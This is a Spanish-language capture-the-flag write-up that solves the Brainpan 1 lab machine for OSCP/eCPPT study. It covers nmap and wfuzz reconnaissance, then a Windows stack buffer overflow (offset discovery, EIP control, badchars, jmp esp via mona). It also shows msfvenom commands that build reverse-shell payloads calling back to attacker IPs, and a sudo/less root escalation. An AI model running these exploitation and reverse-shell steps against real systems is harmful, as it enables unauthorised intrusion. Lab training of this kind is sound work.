7 minute read

Brainpan 1 es otra de las máquinas que he decidido incorporar a mi preparación para los exámenes de las certificaciones como la del OSCP y la del eCPPT. Esta máquina ha sido altamente recomendada para completar antes de los exámenes mencionados.

Brainpan explota una vulnerabilidad de desbordamiento de buffer (buffer overflow) analizando un ejecutable de Windows en una máquina Linux y en este artículo estaré mostrando como resolverla.

Reconocimiento

Esta es la fase inicial y mas importante, ya que de esta dependerá todo nuestro proceso.

Recuerden que mientras mas información de nuestro objetivo, mas vías potenciales de explotación podríamos obtener.

Puertos abiertos

Comando:

nmap -sS --min-rate 200 -p- --open -n -v -Pn -oN puertos 10.10.5.133

Resultado:

# Nmap 7.91 scan initiated Mon Oct  4 08:54:10 2021 as: nmap -sS --min-rate 200 -p- --open -n -v -Pn -oN puertos 10.10.5.133
Nmap scan report for 10.10.5.133
Host is up (0.22s latency).
Not shown: 45093 closed ports, 20440 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Oct  4 08:56:58 2021 -- 1 IP address (1 host up) scanned in 168.16 seconds

Servicios y versiones

Una vez que sabemos que puertos están abiertos en nuestro objetivo, deberemos realizar un escaneo más exhaustivo sobre los mismos.

Comando:

nmap -sV -sC -p9999,10000 -oN serviciosVersiones 10.10.5.133

Resultado:

# Nmap 7.91 scan initiated Mon Oct  4 08:18:46 2021 as: nmap -sV -sC -p9999,10000 -oN serviciosVersiones 10.10.5.133
Nmap scan report for 10.10.5.133
Host is up (0.19s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=10/4%Time=615AFF49%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct  4 08:20:09 2021 -- 1 IP address (1 host up) scanned in 82.36 seconds

Servicio Web

Gracias al escaneo anterior sabemos que en el puerto 10000 se aloja un servicio http.

Puerto 10000

Fuzzing

El fuzzing sobre un servicio web nos permite saber si un recurso existe o no dependiendo del código de estado que devuelve el servidor. Si el recurso existe el código de estado sera 200.

Comando:

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.5.133:10000/FUZZ

Resultado:

Fuzzing puerto 10000

Brainpan.exe

Gracias al reconocimiento anterior encontramos el directorio /bin, el mismo que cuenta con la capacidad de Directory listing, es decir se muestran en el todos los recursos que contiene.

Dirección: http://10.10.5.133:10000/bin/

Brainpan executable

Una vez descargado brainpan.exe con el comando file podemos observar que se trata de un ejecutable de 32 bits para windows.

Laboratorio

Siempre como recomendación cuando deseas examinar un binario, se debería probarlo en un entorno que cuente con las características lo mas similar posible a las del binario.

Para este laboratorio necesitaremos:

Nota: Si no sabes como instalar mona en Immunity debugger, te recomiendo revises aquí que es donde explico como hacerlo.

Transferencia

Con el siguiente comando habilitaremos un servicio SMB en nuestra ruta actual para compartir los recursos que se encuentren en ella.

smbserver.py share . -smb2support -username jch -password password123

Con el servicio SMB activo ya podremos acceder desde nuestra máquina virtual para poder copiar el binario en ella de manera local, siempre y cuando nuestra máquina este “dentro” del mismo segmento red.

Transfer Brainpan executable

Con el binario ya en nuestra máquina virtual deberemos abrirlo y ejecutarlo desde Immunity debugger.

Una vez en ejecución si escaneamos nuestra máquina virtual podremos observar que se abre el mismo puerto que se encuentra en nuestro objetivo.

Immunity Brainpan executable

Explotación

Si nos conectamos con “Netcat” al puerto 9999 se nos abrirá un panel en el cual se nos solicita una contraseña.

Si la contraseña es incorrecta nos pondrá ACCESS DENIED, esto lo podrías comprobar tanto en la máquina víctima como en nuestra máquina virtual.

nc -v 10.10.78.67 9999
nc -v 10.10.5.133 9999

Sabemos que este binario es vulnerable a buffer overflow, por lo cual si enviamos una cadena con un número de caracteres que sobrepase el buffer definido en el binario el mismo terminara corrompiéndose, esto lo podríamos probar manualmente o con un un script, que vaya enviando e incrementando cada vez mas la longitud de la cadena hasta lograr corromperlo, como lo veremos a continuación.

fuzzer.py

python3 fuzzer.py 192.168.1.10 9999

Fuzzer Brainpan executable

1. Calculando el offset

Como podemos ver en la imagen anterior al enviar una cadena de 570 bytes el binario se corrompe. Esta cantidad nos sera de ayuda para obtener el valor del offset.

  • Crearemos una cadena aleatoria de 570 caracteres.

Comando:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 570

Resultado:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9

Esta cadena la deberemos copiar en un nuevo script para enviarla al objetivo y con su resultado obtener el valor del offset.

python offset.py 192.168.1.10 9999

offset.py

Pattern create

Debemos prestar atención al valor del EIP que se nos muestra en la imagen anterior, ya que este valor lo pasaremos como parámetro al siguiente comando para encontrar el valor del offset.

Comando:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134

Resultado:

[*] Exact match at offset 524

2. Controlando el EIP.

A nuestro script anterior debemos hacerle unas pequeñas modificaciones, ya que en este caso no enviaremos una cadena con caracteres aleatorios, esta vez la enviaremos con valores definidos por nosotros para ver si como resultado tenemos el control del EIP.

Enviaremos la letra “A” multiplicada por el valor del offset, más 4 bytes que serán “B” y por ultimo sumaremos “C”.

eipcontrol.py

EIP control

Vemos que efectivamente somos capaces de sobre escribir el EIP con nuestras “B” (0x42).

3. Directorio de trabajo con mona

El siguiente comando nos creara una carpeta en el escritorio de trabajo, específicamente para el binario que estamos ejecutando (brainpan.exe).

Nota: La carpeta no aparecerá hasta que la misma tenga contenido.

!mona config -set workingfolder C:\Users\jch\Desktop\%p

4. Lista de badchars con mona

Puedes ejecutar el primer comando para crear una lista de badchars, o el segundo para lo mismo pero descartando el badchar "\x00", ya que se sabe que este siempre da problemas.

!mona bytearray
!mona bytearray -cpb "\x00"

Mona Diretory Brain

5. Eliminando badchars

Para este paso ejecutaremos badChars.py hasta que no se nos muestre mas badchars.

python badChars.py 192.168.1.10 31337

Una vez ejecutamos el script, nuevamente se corromperá nuestro binario, pero en este punto debemos poner atención al valor del ESP, ya que con este compararemos nuestra data enviada con el fichero bytearray.bin.

Mona Compare Brain

Para comparar necesitaremos el siguiente comando.

!mona compare -f C:\Users\jch\Desktop\gatekeeper -a 0028F930

Mona Compare Brain

Observamos que no se nos muestra ningun BadChar, esto si en el momento de crear la lista bytearray omitimos el BadChar "\x00", caso contrario se te debería listar el mismo por pantalla.

Nota: Este paso normalmente lo tendríamos que realizar una y otra vez hasta que no se nos listen mas BadChars como sera en el caso de otros binarios.

6. Dirección de jmp

El siguiente comando nos permitirá encontrar una dirección de jmp que no contenga los badchars que encontramos en los pasos previos.

Esta dirección nos servirá para hacer un salto al ESP permitiéndonos ejecutar un shellcode que le pasemos al mismo.

!mona jmp -r esp -cpb "\x00"

jmp Bain

7. Reverse Shell

Una vez hemos eliminado todos los badchars y teniendo una dirección al ESP podremos crear nuestra shell para poder obtener una conexión reversa hacia nuestro equipo de atacante.

El resultado del siguiente comando lo debemos poner en nuestro script final finalexploit.py.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.9 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -f c

jmp Bain

Una vez hemos conseguido ejecución remota de comandos con nuestro script, lo único que nos queda es crear una nueva shell con nuestra IP de Tryhackme y enviarla.

No olvidar que estamos ante una máquina linux por lo cual nuestra shell debería ser para linux.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.50.78 LPORT=443 EXITFUNC=thread -a x86 --platform linux -b "\x00" -e x86/shikata_ga_nai -f c

jmp Bain

Escalada de privilegios

Para este caso obtener acceso como el usuario root es bastante sencillo.

1. Enumeramos nuestro usuario

 id
 whoami
 sudo -l

Vemos que somos capaces de ejecutar anansi_util como root.

Permisos del usuario puck

2. Analizamos que es anansi_util

 sudo /home/anansi/bin/anansi_util

Anansi util

Vemos que contamos con 3 opciones.

Si ejecutamos el siguiente comando nos muestra un manual del parámetro que le pasemos.

 sudo /home/anansi/bin/anansi_util manual id

Manual del comando id

3. Shell

Si nos percatamos este resultado se parece mucho al resultado del comando less.

Recordemos que less nos permite obtener una shell, esto lo podrías ver en GTFOBins.

jmp Bain

jmp Bain